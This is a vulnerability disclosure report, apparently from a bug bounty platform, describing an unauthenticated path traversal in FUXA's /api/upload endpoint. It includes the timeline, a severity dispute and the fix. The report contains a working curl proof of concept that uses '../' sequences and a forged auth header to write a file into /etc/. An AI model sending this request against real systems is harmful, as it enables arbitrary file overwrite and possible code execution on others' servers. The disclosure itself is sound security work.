Unauthenticated Path Traversal via /api/upload in frangoteam/fuxa

Valid

Reported on

Apr 4th 2022


Description

While reviewing FUXA, research found it is possible to upload arbitrary files into arbitrary locations via the "/api/upload" endpoint.

Even when authentication in enabled, it was found this endpoint does not validate a user's session. In addition, the function behind this endpoint writes uploaded files to arbitrary locations via a path traversal vulnerability. When a request is sent, the request contains a "name" parameter, and a "data" parameter. The file name supplied in the "name" parameter is never sanitized meaning it is possible to write files outside of the intended upload folder.

The cURL command below will upload a file named "POC" to the "/etc/" directory. The file will contain the string "PROOF OF CONCEPT."

Proof of Concept

curl -i -s -k -X $'POST' \
    -H $'Host: localhost:1881' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0' -H $'Accept: application/json, text/plain, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://localhost:1881/editor' -H $'Content-Type: application/json' -H $'x-auth-user: {\"user\":\"notvalid\",\"groups\":99999999}' -H $'x-access-token: ' -H $'Content-Length: 76' -H $'Origin: http://localhost:1881' -H $'Connection: close' -H $'Pragma: no-cache' -H $'Cache-Control: no-cache' \
    -b $'io=' \
    --data-binary $'{\"name\":\"../../../../../../../../etc/POC\",\"data\":\"UFJPT0YgT0YgQ09OQ0VQVA==\"}' \
    $'http://localhost:1881/api/upload'

To mitigate this vulnerability this endpoint should be limited to authenticated users, and remove any dangers characters such as "../" from the file name. Additionally, as the intended file media location is known, the function should verify that the final file location is within the upload directory. Any files outside this directory should not be uploaded.

Impact

Leveraging this vulnerability threat actors could overwrite important system files, the FUXA database file, and any other files within the running service's permissions. The could lead to remote code execution.

We are processing your report and will contact the frangoteam/fuxa team within 24 hours. a year ago
We have contacted a member of the frangoteam/fuxa team and are waiting to hear back a year ago
We have sent a follow up to the frangoteam/fuxa team. We will try again in 7 days. a year ago
We have sent a second follow up to the frangoteam/fuxa team. We will try again in 10 days. a year ago
We have sent a third and final follow up to the frangoteam/fuxa team. This report is now considered stale. a year ago
Umberto Nocelli modified the Severity from Critical to Low a year ago
The researcher has received a minor penalty to their credibility for miscalculating the severity: -1
Umberto Nocelli validated this vulnerability a year ago
galapag0s has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
We have sent a fix follow up to the frangoteam/fuxa team. We will try again in 7 days. a year ago
galapag0s
a year ago

Researcher


Would it be possible, as a learning point, to receive an explanation as to why this received a severity of low?

Given that this vulnerability allowed an unauthenticated threat actor to overwrite arbitrary files, I would have expected a higher severity. While remote code execution may not be possible in all circumstances, the ability to overwrite common Linux files would have a high severity impact to both the systems availability and integrity. Additionally, as the application running Fuxa would have both read and write access to the Fuxa database, a complete application take over or take down would be trivial.

Given that this does not require special permissions, is relatively simple to exploit, requires no user interaction, and has a high potential for integrity and availability impact, I would expect this to have at least a medium severity rating.

Please let me know if an explanation is possible. Thank you.

We have sent a second fix follow up to the frangoteam/fuxa team. We will try again in 10 days. a year ago
We have sent a third and final fix follow up to the frangoteam/fuxa team. This report is now considered stale. a year ago
Umberto Nocelli marked this as fixed in 1.1.7 beta with commit 3a3058 a year ago
Umberto Nocelli has been awarded the fix bounty
This vulnerability will not receive a CVE
galapag0s
10 months ago

Researcher


Can we please have a CVE assigned to this.

to join this conversation